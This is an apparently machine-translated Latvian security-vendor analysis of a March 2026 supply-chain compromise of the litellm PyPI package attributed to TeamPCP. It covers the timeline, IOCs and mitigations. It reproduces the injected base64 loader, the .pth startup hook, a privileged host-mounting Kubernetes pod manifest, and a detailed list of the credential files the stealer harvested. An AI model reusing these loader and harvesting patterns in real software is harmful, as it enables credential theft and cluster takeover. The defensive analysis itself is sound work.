LiteLLM piegādes ķēdes uzbrukums

LiteLLM piegādes ķēdes uzbrukums: kā TeamPCP izveidoja mākslīgā intelekta infrastruktūru ar aizmugurējām durvīm

Kāpēc Tas jautājumi

2026. gada 24. martā populārā Python pakotne litellm, universāls LLM starpniekservera vārteja, ko izmanto tūkstošiem enterprises, lai maršrutētu datplūsmu starp lietojumprogrammām un mākslīgā intelekta pakalpojumu sniedzējiem, piemēram, OpenAI, Anthropic, Google un AWS Bedrock, tika klusībā kompromitēts PyPI. Divas saindētas versijas (1.82.7 un 1.82.8) tika publicētas 13 minūšu laikā viena no otras, nesot daudzpakāpju vērtumu, kas nozaga akreditācijas datus, izfiltrēja mākoņa noslēpumus, izplatījās laterāli pa Kubernetes klasteriem un instalēja pastāvīgu aizmugurējo durvju sistēmu ar attālinātas koda izpildes iespējām.

Ar aptuveni 3.6 miljoni lejupielāžu dienā un dziļa izvietošana mākoņpakalpojumos balstītā mākslīgā intelekta infrastruktūrā, litellm atrodas visa mūsdienu uzbrucēju kāroto resursu krustcelēs: API atslēgas katram lielākajam mākslīgā intelekta pakalpojumu sniedzējam, mākoņa IAM akreditācijas dati, Kubernetes noslēpumi un SSH atslēgas.

Taču Litellm kompromiss nebija atsevišķs notikums. Tas bija kulminācija. piecu dienu, piecu ekosistēmu kampaņa ar draudu izpildītāja, kas pazīstams kā TeamPCP, kampaņa, kuras ietvaros vispirms saindēja drošības skenerus (Aqua Trivy, Checkmarx KICS) un pēc tam izmantoja nozagtos CI/CD akreditācijas dati tika kaskādēti lejup pa npm, OpenVSX un visbeidzot PyPI. Uzbrucēji ieroci izmantoja tieši tos rīkus, kurus organizācijas izmanto savu piegādes ķēžu aizsardzībai.

Šis uzbrukums ir būtiska piegādes ķēdes apdraudējumu sarežģītības maiņa. Vairāku apiņu, starpekosistēmu dizains apdraud drošības rīkus, lai sasniegtu augstu vērtību. mākslīgā intelekta infrastruktūra, atspoguļo plānošanas un operacionālās brieduma līmeni, kas atbilst arvien komercializētajiem uzbrukuma rīkiem. Derīgās slodzes tika iterētas reāllaikā (avota kodā ir redzami trīs derīgās slodzes varianti, tostarp agrākās versijas ar komentāriem), C2 infrastruktūra tika reģistrēta dienu pirms uzbrukuma, un eksfiltrācijas domēni tika rūpīgi izvēlēti, lai atdarinātu likumīgu pārdevēju infrastruktūru. Sistemātiski visaptverošais akreditācijas datu apkopotājs, kas aptver vairāk nekā 15 kategorijas, tostarp nišas mērķus, piemēram, Cardano parakstīšanas atslēgas un WireGuard konfigurācijas, liecina par zināmu rūpības pakāpi, kas norāda uz mākslīgā intelekta atbalstītu ļaunprogrammatūras izstrādi kā spēka reizinātāju.

Timeline

Datums (UTC) notikums
marts 19 TeamPCP uzlauž Aqua Trivy GitHub Action tagus, aizstājot tos ar ļaunprātīgu kodu, kas izfiltrējas CI/CD noslēpumi no lejupējām krātuvēm
marts 21 Kompromiss attiecas arī uz Checkmarx KICS un AST GitHub darbībām, izmantojot līdzīgas metodes.
22. marts, plkst. 06:35 BerriAI publicē litellm 1.82.6 (pēdējo tīro versiju), izmantojot parasto CI/CD pipeline kas drošības skenēšanai izmanto Trivy
marts 23 TeamPCP reģistrē models.litellm.cloud (eksfiltrācijas domēns). Apdraud vairāk nekā 66 npm pakotnes un OpenVSX paplašinājumus.
24. marts, plkst. 10:39 litellm 1.82.7 publicēts PyPI — lietderīgā slodze ievadīta proxy_server.py moduļa darbības jomā. Izpilda importēšanas laikā.
24. marts, plkst. 10:52 litellm 1.82.8 versija publicēta 13 minūtes vēlāk — pievienots litellm_init.pth, Python ceļa konfigurācijas āķis, kas tiek izpildīts katrā Python interpretētāja startēšanas reizē, ne tikai litelm importēšanas reizē. Parāda ātru lietderīgās slodzes iterāciju.
24. marts, plkst. 16:00 Pēc kopienas ziņojumiem PyPI noņem abas versijas. Versijas tiek pilnībā dzēstas (nevis izvilktas) no indeksa, lai gan CDN tarball faili joprojām ir pieejami.

Iedarbības logs: aptuveni 5.5 stundas. Šajā laikā jebkurš pip install litellm, pip install --upgrade litellmvai CI/CD pipeline jaunākās versijas izvilkšana būtu izpildījusi lietderīgo slodzi.

Kā iekļuva ļaunprogrammatūra: kaskādes kompromiss

Litellm pakotne netika tieši uzlauzta. Uzbrucējs tai piekļuva, izmantojot divu lēcienu piegādes ķēdes uzbrukums:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM CI/CD pipeline izmantoja Trivy kā drošības skeneri — pats rīks, kas paredzēts ievainojamību noteikšanai, pats bija uzbrukuma vektors. Jo pipeline atsaucās uz Trivy ar maināmu tagu, nevis piespraustu commit SHA, kompromitētā darbība, tika palaista automātiski. Ļaunprātīgā Trivy darbība izvilka vides noslēpumus, tostarp PYPI_PUBLISH žetons, kas piešķir TeamPCP tiešu publicēšanas piekļuvi litellm PyPI projektam.

Šī “apdraudēt apsargus” stratēģija ir TeamPCP kampaņas raksturīga iezīme. Vispirms vēršoties pret drošības rīkiem (Trivy, Checkmarx KICS), uzbrucēji vienlaikus atspējoja atklāšanu un ieguva priviliģētu piekļuvi lejupējām piegādes ķēdēm.

Tehniskā analīze: Derīgā slodze

Injekcijas punkti

Versija 1.82.7 — Moduļu līmeņa izpilde litellm/proxy/proxy_server.py (128. rinda):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Šis kods atrodas moduļa darbības jomā starp vārdnīcas literāli un oriģinālu. showwarning() funkcija. Tā tiek izpildīta nekavējoties, kad litellm.proxy.proxy_server tiek importēts — kas notiek, lietojot litellm starpniekservera funkcionalitāti.

Versija 1.82.8 — Pievienots litellm_init.pth (Python ceļa konfigurācijas fails):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Pitons .pth faili site-packages/ tiek apstrādātas katrā interpretatora startēšanas reizē, bet tikai rindas, kas sākas ar import tiek izpildīti kā kods. Uzbrucējs to izmanto, visu vērtumu savienojot vienā import paziņojums, apgalvojums: import os, subprocess, sys; subprocess.Popen(...)Tas ir daudz agresīvāk nekā proxy_server.py injekcija — tas tiek aktivizēts pat tad, ja litelm nekad netiek importēts, katrā Python procesa palaišanas reizē. pyproject.toml tika modificēts, lai iekļautu šo failu izplatījumā:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Tādējādi 1.82.8. versijai ir divi neatkarīgi izpildes ceļiproxy_server.py injekcija (tiek aktivizēta, importējot litelm starpniekserveri) un .pth fails (tiek aktivizēts jebkurā Python startēšanas reizē). Redundance pati par sevi ir ievērojama — tā nodrošina aizsardzību pret jebkura ceļa noteikšanu vai noņemšanu atsevišķi. Izpildes eskalācija no importēšanas laika līdz izpildes laikam tikai 13 minūtes pēc 1.82.7 versijas liecina, ka uzbrucējs uzraudzīja izvietošanas panākumus un ātri atkārtoja darbību.

1. posms: Visaptveroša akreditācijas datu ievākšana

Atšifrētais iekšējais skripts ir rūpīgs akreditācijas vakuums. Tas izmanto os.walk()glob.glob()subprocess.check_output()un tieši nolasa failus, lai pārbaudītu visu sistēmu:

Kategorija Mērķi
Sistēmas rekonstrukcija hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; resursdatora atslēgas no /etc/ssh/
Mākonis (AWS) ~/.aws/credentials, ~/.aws/configIMDS lomas akreditācijas dati, izmantojot 169.254.169.254Noslēpumu pārvaldnieks; ListSecretsSSM DescribeParameters
Mākonis (GCP) ~/.config/gcloud/ (rekursīvs); $GOOGLE_APPLICATION_CREDENTIALS
Mākonis (Azure) ~/.azure/ (rekursīvi); vides mainīgie
Kubernetes Pakalpojuma konta žetoni; ca.crt; vārdtelpa; kubectl get secrets --all-namespaces; visi noslēpumi, izmantojot K8s API
Vides faili .env, .env.local, .env.production, .env.development, .env.staging — meklēts rekursīvi (6. dziļums) pāri /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
dokers ~/.docker/config.json, /kaniko/.docker/config.json
Pakotnes žetoni ~/.npmrc, ~/.vault-token, ~/.netrc
Datubāzes ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB konfigurācijas
TLS / SSL Privātās atslēgas no /etc/ssl/private/, Šifrēsim sertifikātus, visus .pem/.key/.p12/.pfx faili
Git ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Kripto maki Bitcoin, Ethereum atslēgu glabātuve, Solana atslēgu pāri (validators, balsojums, likme, krāns), Cardano parakstīšanas atslēgas, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Čaumalas vēsture .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Sistēmas autorizācija /etc/passwd, /etc/shadow, autorizācijas žurnāli (pieņemtās SSH sesijas)
Webhook/API atslēgas Grep Slack tīmekļa vietneihooks, Discord tīmeklishooksAPI atslēgas/noslēpumi konfigurācijas failos
VPN WireGuard konfigurācijas no /etc/wireguard/

Šī apkopotāja darbības joma ir enciklopēdiska. Tas aptver ne tikai mākoņa akreditācijas datus, bet arī kriptovalūtas makus, datubāzu paroles, VPN konfigurācijas un… CI/CD noslēpumi, kas liecina, ka uzbrucējs plāno gūt peļņu no kompromitētām sistēmām vairākos vektoros.

2. posms: šifrēta eksfiltrācija

Nozagtie dati tiek šifrēti un izgūti, izmantojot hibrīda šifrēšanas shēmu:

  • AES-256-CBC visu apkopoto datu šifrēšana ar nejaušu 32 baitu sesijas atslēgu (izmantojot openssl enc)
  • RSA-4096 sesijas atslēgas šifrēšana, izmantojot uzbrucēja iegulto publisko atslēgu (OAEP papildināšana, izmantojot openssl pkeyutl)
  • Abi šifrteksta faili ir apvienoti kā tpcp.tar.gz ( tpcp prefikss — “TeamPCP” — tiek parādīts konsekventi visā kampaņā)
  • HTTPS POST uz https://models.litellm.cloud/ ar Content-Type: application/octet-stream

Domēns models.litellm.cloud tika reģistrēta 23. martā — dienu pirms uzbrukuma — un ir paredzēta saplūšanai ar likumīgu litelm infrastruktūru (īstais projekts izmanto litellm.aiPat tīkla apzinīgs aizsargs, kas pārskata izejošo datplūsmu, var neatzīmēt datplūsmu uz to, kas šķietami ir litellm paša modeļa galapunkts.

3. posms: Pastāvīga aizmugures durvju (sysmon.py)

Komerciālā slodze instalē aptaujas aizmugurējo durvju sistēmu, kas maskēta kā sistēmas telemetrija:

  • taka~/.config/sysmon/sysmon.py
  • Servisssysmon.service (systemd lietotāja vienība, aprakstīta kā “Sistēmas telemetrijas pakalpojums”)
  • UzvedībaPēc sākotnējā 300 sekunžu miega aptaujas https://checkmarx.zone/raw ik pēc ~50 minūtēm
  • Izpildīšana: Lejupielādē C2 atgriezto URL uz /tmp/pglog, iestata to izpildāmu (chmod 755), palaiž to atdalītā sesijā
  • Valsts izsekošana/tmp/.pg_state neļauj atkārtoti lejupielādēt to pašu lietderīgo slodzi
  • NeatlaidībaRestart=alwaysRestartSec=10 — pārdzīvo avārijas un pārstartēšanu

Domēns checkmarx.zone ir Checkmarx (drošības uzņēmuma vietnē) typosquat checkmarx.com), kas izstrādāts tā, lai SOC analītiķi, pārskatot tīkla žurnālus, redzētu datplūsmu uz šķietami likumīgu drošības pakalpojumu sniedzēju. Šī ir apzināta izvairīšanās tehnika, kas atbilst TeamPCP plašākai stratēģijai slēpties aiz drošības pakalpojumu sniedzēja zīmola.

3.b posms: Kubernetes sānu kustība

Ja apdraudētajai sistēmai ir Kubernetes pakalpojuma konta akreditācijas dati, ļaunprogrammatūra uzskaita visus klastera mezglus un izvieto tos. privileģētās pākstis katram no tiem:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Katrs pāksts:

  • Darbojas kā priviliģēts ar hostPIDhostNetworkun pilnīga piekļuve resursdatora failu sistēmai
  • Izmanto chroot /host lai uzstādītu to pašu sysmon.py aizmugurējās durvis resursdatora saknes failu sistēmā
  • Reģistrē to kā systemd pakalpojumu, nodrošinot, ka saglabāšana saglabājas arī pēc pod dzēšanas.
  • nosaukts node-setup-* iekš kube-system nosaukumtelpai, lai tā tiktu parādīta kā likumīga klastera infrastruktūra

Tas nozīmē viens apdraudēts CI/CD skrējējs ar K8 piekļuvi varētu izraisīt katra klastera mezgla aizmugures piekļuvi — katastrofāls sānu kustības scenārijs organizācijām, kas Kubernetes vidē kā starpniekserveri izmanto litellm.

Derīgās slodzes evolūcija (komentēti varianti)

Avota kods 131.–132. rindā satur divus komentētus agrākus lietderīgās slodzes variantus, kas atklāj uzbrucēja izstrādes procesu:

  • Visi trīs varianti koplieto vienu un to pašu eksfiltrācijas infrastruktūru (models.litellm.cloud), RSA-4096 publiskā atslēga, AES-256-CBC + RSA hibrīda šifrēšanas apvalks un tpcp.tar.gz saišķu nosaukšana
  • Agrāki varianti pievienoja RC4 šifrēšanas slānis datu vākšanas skripta iekšpusē, šifrējot ievāktos datus pirms ārējā AES+RSA apvalka. Aktīvā lietderīgā slodze (130. rinda) tika vienkāršota, noņemot šo iekšējo RC4 slāni.
  • Iepriekšējās variācijas izmanto exec() ar StringIO uztveršana, lai palaistu kolektoru procesa laikā, kamēr aktīvā lietderīgā slodze izmanto subprocess.run() ar standarta izejas pāradresāciju — tīrāku atdalīšanu, kas novērš saimniekprocesa piesārņošanu
  • Visi trīs varianti ir vērsti uz vienām un tām pašām akreditācijas datu kategorijām un apkopošanas ceļiem.
  • RC4 atslēga iepriekšējos variantos bija provokatīvs apvainojums, kas atbilda aktiera uzmanības piesaistīšanas uzvedībai pakalpojumā Telegram.

Tas atklāj aktīvu izstrādi operācijas laikā. Uzbrucējs vienkāršoja šifrēšanas steku un uzlaboja izpildes izolāciju, vienlaikus saglabājot savākšanas mērķu un eksfiltrācijas infrastruktūras stabilitāti.

Kompromisa rādītāji (IOC)

tīkls

Indikators Veids Nolūks
models.litellm.cloud Domēns Eksfiltrācijas galapunkts (HTTPS POST)
checkmarx.zone Domēns C2 aptaujas galapunkts (HTTPS GET /raw)

Piezīme: Ārējo pārskatu saites checkmarx.zone/static/checkmarx-util-1.0.4.tgz uz agrāko TeamPCP kampaņas KICS fāzi. Šis URL netika atrasts šeit analizētajās litellm vērtajās slodzēs.

Pakotņu jaucējkodas

fileja SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

Failu sistēmas

Indikators Veids Nolūks
~/.config/sysmon/sysmon.py fileja Pastāvīgs aizmugurējo durvju skripts
~/.config/systemd/user/sysmon.service fileja Systemd noturības vienība
/tmp/pglog fileja Lejupielādēts otrās pakāpes binārais fails
/tmp/.pg_state fileja C2 stāvokļa izsekošana
litellm_init.pth in site-packages/ fileja Python startēšanas āķis (tikai 1.82.8. versija)
tpcp.tar.gz fileja Šifrēta eksfiltrācijas pakete

Kubernetes

Indikators Veids Nolūks
node-setup-* pākstis iekšā kube-system Pāksts Privileģētas sānu kustības pākstis
sysmon.service klastera mezglos Serviss Saimniekdatora līmeņa noturība, izmantojot pod escape

Kriptogrāfisks

Indikators Sīkāka informācija
Uzbrucēja RSA-4096 publiskā atslēga SHA256 pirkstu nospiedums: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Iegults visos trijos lietderīgās slodzes variantos; tā pati atslēga tiek ziņota visās TeamPCP operācijās.
tpcp prefikss artefaktos Pakotņu nosaukumu noteikšanas konvencija (tpcp.tar.gz) konsekventi visā kampaņā

Atribūcija: TeamPCP

Šīs kampaņas apdraudējuma izpildītājs tiek izsekots kā TeamPCP, pazīstams arī kā PCPcat, Persy_PCP, ShellForce un DeadCatx3.

Zināmas īpašības:

  • Uztur Telegram kanālus vietnē @Persy_PCP un @teampcp kur viņi izsmēja apsardzes firmas
  • Darbojas vairākās ekosistēmās (GitHub Actions, PyPI, npm, OpenVSX)
  • Katrai kampaņas fāzei izmanto pārdevējam specifiskus typosquat domēnus (piemēram, checkmarx.zone Checkmarx vajadzībām models.litellm.cloud (litellm)
  • Konsekventi infrastruktūras marķieri: viens un tas pats RSA atslēgu pāris, tpcp.tar.gz nosaukumu piešķiršanas konvencija, tpcp-docs-* GitHub repozitoriji, kas tiek izmantoti kā nelietojamas izstrādes vietas
  • Drošības rīki tiek izmantoti kā ieejas punkti lejupējās piegādes ķēdēs

Atribūcijas ticamībaAugsts. Koplietotā RSA publiskā atslēga, tpcp Artefaktu nosaukšana, C2 infrastruktūras pārklāšanās un darbības temps piecu dienu kampaņas laikā cieši saista Trivy, KICS, npm, OpenVSX un litellm kompromisus ar vienu un to pašu dalībnieku.

MotivācijaIespējama finansiāla ietekme (kriptovalūtu maka zādzība, akreditācijas datu monetizācija mākonī) apvienojumā ar slavu (Telegram izsmiešana). Akreditācijas datu ievākšanas plašums — sākot no AWS IAM līdz Solana validatora atslēgu pāriem un WireGuard konfigurācijām — liecina par finansiāli motivētu dalībnieku, kurš cenšas maksimāli palielināt ieguldījumu atdevi no katras kompromitēšanas.

Iespējama mākslīgā intelekta palīdzībaAkreditācijas datu apkopotājs ir sistemātiski visaptverošs — vairāk nekā 15 kategorijas, tostarp nišas mērķi, piemēram, Cardano parakstīšanas atslēgas, WireGuard konfigurācijas un Kaniko Docker akreditācijas dati — tādā veidā, kas atbilst mākslīgā intelekta atbalstītai uzskaitīšanai. Derīgās slodzes iterācijas ātrums (trīs varianti ar dažādām šifrēšanas shēmām), starpekosistēmu koordinācija (5 ekosistēmas 5 dienās) un operatīvais OPSEC (pārdevēju personificējošie domēni, hibrīda šifrēšana, systemd noturība, kas maskēta kā telemetrija) liecina par caurlaidspējas līmeni, kas varētu atspoguļot mākslīgā intelekta atbalstītu izstrādi kā spēka reizinātāju. Šis novērtējums ir spekulatīvs; prasmīgi operatori varētu sasniegt līdzīgu darbības jomu bez mākslīgā intelekta rīkiem.

Jauni TTP un paņēmieni

1. Drošības rīka piegādes ķēdes saindēšanās (T1195.002 variants)

Drošības skeneru (Trivy, KICS) kompromitēšana kā pirmais solis lejupējo mērķu sasniegšanai ir jauna eskalācija. Uzbrucējs ne tikai kompromitēja bibliotēku — viņš kompromitēja rīkus, ko organizācijas izmanto, lai atklāt kompromitētas bibliotēkas. Tas rada aklo zonu: skeneris, kuram vajadzētu uztvert ļaunprātīgo kodu, pats ir piegādes mehānisms.

2 Pitons .pth Faila saglabāšana (T1546)

The litellm_init.pth v1.82.8 versijā izmantotā metode ir īpaši mānīga. Python .pth faili site-packages/ tiek apstrādātas katrā interpretatora startēšanas reizē; jebkura rinda, kas sākas ar import tiek izpildīts kā kods. Pievienojot lietderīgo slodzi vienam import apgalvojums, uzbrucējs panāk izpildi katrā Python procesā — ne tikai tad, kad tiek importēts litelm. Tas nozīmē, ka lietderīgā slodze tiek aktivizēta pat tad, ja litelm ir instalēts, bet nekad netiek izmantots, un tā izdzīvo labojumus, kas aizstāj apdraudēto .py failus, nepārbaudot .pth faili.

3. Kubernetes klastera mēroga sānu kustība, izmantojot privileģētu Pod izvietošanu (T1610, T1611)

Privileģētu podu automatizēta izveide katrā klastera mezglā — ar hostPIDhostNetwork, resursdatora failu sistēmas piestiprināšana un chroot lai instalētu persistence — chains konteineru izvietošanu (T1610) ar iziešanas komandu uz resursdatoru (T1611), lai vienu apdraudētu darba slodzi pārvērstu par pilnīgu klastera kompromitāciju.

4. Pārdevēja C2 infrastruktūras imitācija

Izmantojot models.litellm.cloud (atdarina litellm) un checkmarx.zone (atdarina Checkmarx) kā C2/exfil galapunktus, kas ir izstrādāti, lai apietu tīkla uzraudzību. SOC analītiķi, pārskatot izejošo trafiku, redzētu HTTPS savienojumus ar šķietami likumīgiem pārdevēju domēniem.

5. Ātra lietderīgās slodzes iterācija lidojuma laikā

Publicējot 1.82.7. versiju ar importēšanas laika izpildi un pēc tam 13 minūtes vēlāk publicējot 1.82.8. versiju ar startēšanas laika izpildi, uzbrucējs veic uzraudzību un pielāgošanos reāllaikā. Avota kodā saglabātie komentētie lietderīgās slodzes varianti (ar dažādām šifrēšanas shēmām) apstiprina aktīvu izstrādi operācijas laikā.

Ko var darīt

Šis uzbrukums izmanto uzticēšanos visos līmeņos: uzticēšanos drošības rīkiem, uzticēšanos pakotņu reģistriem, uzticēšanos pazīstami izskatīgiem domēniem, uzticēšanos CI/CD automatizācija. Lai pret to aizsargātos, ir jānostiprina katra no šīm uzticības robežām:

Iepakojuma patērētājiem

  • Piespraust atkarības pēc jaucējkoda, ne tikai pēc versijas. pip install litellm==1.82.6 --hash=sha256:... būtu novērsis apdraudēto versiju instalēšanu pat tad, ja tās īslaicīgi parādītos kā jaunākā versija.
  • Izmantojiet bloķēšanas failus. pip-compilepoetry.lock, un uv.lock uztvert precīzas versijas un jaucējkodas. CI/CD vajadzētu instalēt no bloķēšanas failiem, nevis no peldošajiem versiju specifikatoriem.
  • Monitor par .pth faili. Regulāri veikt revīziju site-packages/ par negaidītu .pth faili — tie tiek izpildīti katrā Python startēšanas reizē un ir nenovērtēts noturības mehānisms.
  • Ieviest izejošā tīkla vadīklas. Eksfiltrācija uz models.litellm.cloud un C2 aptaujas veikšana checkmarx.zone varētu būt notverts, izmantojot uz atļauju sarakstu balstītu izejošo datu filtrēšanu ražošanas vidē.

Pakotņu uzturētājiem

  • tapa CI/CD darbības, ko veicis commit SHA, nevis birka. LiteLLM pipeline izmantoja Trivy bez piespraustas versijas. Ja tajā būtu atsauce aquasecurity/trivy-action@<commit-sha> vietā @latest, kompromitētā darbība nebūtu izpildīta.
  • Izmantojiet īslaicīgas, ierobežotas publicēšanas pilnvaras. PyPI atbalsta uzticamus izdevējus (OIDC bāzes) un tvēruma API žetonus. Izfiltrētais PYPI_PUBLISH Tokenam nevajadzēja būt ilgstošai, neierobežotai publicēšanas piekļuvei.
  • Iespējojiet divfaktoru autentifikāciju pakalpojumā PyPI. Pieprasiet 2FA visiem uzturētājiem un, ja iespējams, izmantojiet aparatūras drošības atslēgas.
  • Parakstīt paketes. Sigstore/PEP 740 apliecinājumi ļauj patērētājiem pārliecināties, ka pakotne ir izveidota paredzētajā laikā. CI/CD pipeline, nevis uzbrucējs ar nozagtu žetonu.

Platformu operatoriem (PyPI, npm, GitHub)

  • Atklāt anomālus publicēšanas modeļus. Divām jaunām versijām, kas publicētas ar 13 minūšu starplaiku no citas IP adreses vai tokena nekā parasti, vajadzētu aktivizēt gaidīšanu pārskatīšanai vai automātisku skenēšanu, pirms pakotne kļūst instalējama.
  • Paātrināt uzticamo izdevēju ieviešanu. Uz OIDC balstīta publicēšana saista pakotnes ar konkrētām krātuvēm un darbplūsmām, padarot nozagtas žetonus nelietojamus ārpus oriģināla. CI/CD konteksts.
  • Ieviest ļaunprogrammatūras skenēšanu publicēšanas laikā. Ar base64 dekodēto lietderīgo slodzi proxy_server.py failā varētu noteikt ar statisko analīzi publicēšanas laikā.

Ekosistēmai

  • Uztveriet drošības rīkus kā kritisko infrastruktūru. Trivy un Checkmarx KICS izmanto miljoniem cilvēku pipelines. Viņu GitHub darbības ir jāparaksta, jāpiesprauž un jāuzrauga ar tādu pašu stingrību kā pakotnes, kuras tie skenē.
  • Investējiet izpildlaika noteikšanā. Ar statisko analīzi vien nevar aptvert visas apmulsināšanas metodes. Pakotnes instalēšanas izpildlaika uzraudzība hooks, negaidīti tīkla savienojumi un aizdomīgi failu piekļuves modeļi nodrošina padziļinātu aizsardzību.
  • Ātrāk kopīgojiet informāciju par apdraudējumiem. Litellm 5.5 stundu iedarbības logs varētu būt īsāks, ja tiktu nodrošināta ātrāka starppārdevēju koordinācija. Automatizēti skenēšanas pakalpojumi, piemēram, Xygeni MEW, Socket un Snyk, atklāja anomāliju — vājā vieta ir cilvēka apstiprinājums un reģistra reakcijas laiks.

Secinājumi

TeamPCP kampaņa ir pagrieziena punkts software supply chain securityVispirms apdraudot drošības skenerus un izmantojot tos kā tramplīnu uz augstas vērtības mākslīgā intelekta infrastruktūru, uzbrucēji nodemonstrēja, ka piegādes ķēde ir tikpat spēcīga, cik spēcīga ir tās vājākā pārejošā atkarība, un šī atkarība varētu būt drošības rīks, kuram uzticaties, lai nodrošinātu savu drošību.

Litellm kompromiss īpaši uzsver pieaugošo risku mākslīgā intelekta infrastruktūrai. Tā kā LLM starpniekservera vārtejas kļūst par... standard paraugs priekš enterprise Ieviešot mākslīgo intelektu, viņi koncentrē piekļuvi API atslēgām, mākoņa akreditācijas datiem un sensitīviem datiem vienā komponentā. Šī komponenta kompromitēšana ir visa mākslīgā intelekta steka skeleta atslēga.

Organizācijām, kas 5.5 stundu laikā instalēja litellm 1.82.7 vai 1.82.8 versiju, tas jāuztver kā pilnīgs akreditācijas datu kompromiss: jāmaina visi slepenie dati skartajās sistēmās, jāveic Kubernetes klasteru audits, lai noteiktu node-setup-* pākstis iekšā kube-system, noņemiet jebkuru sysmon.service systemd vienības un pārbaudiet litellm_init.pth Python valodā site-packages/ direktoriji. Oficiālā Docker attēla lietotāji (ghcr.io/berriai/litellm) netika ietekmētas, jo attēls piesaistīja savas atkarības un ekspozīcijas loga laikā netika atjaunots.

par autoru

Līdzdibinātājs un CTO

Luiss Rodrigess ir Xygeni Security līdzdibinātājs un tehnoloģiju direktors. Ar vairāk nekā 20 gadu pieredzi lietojumprogrammu drošības jomā viņš koncentrējas uz lietotņu drošības aizsardzību un uzlabotām koda analīzes iespējām, kas palīdz komandām samazināt reālu piegādes risku.

 
sca-tools-software-composition-analysis-tools
Prioritizējiet, novērsiet un aizsargājiet savus programmatūras riskus
Iegūstiet savu bezmaksas kontu.
Nepieciešama kredītkarte.

Nodrošiniet programmatūras izstrādi un piegādi

ar Xygeni produktu komplektu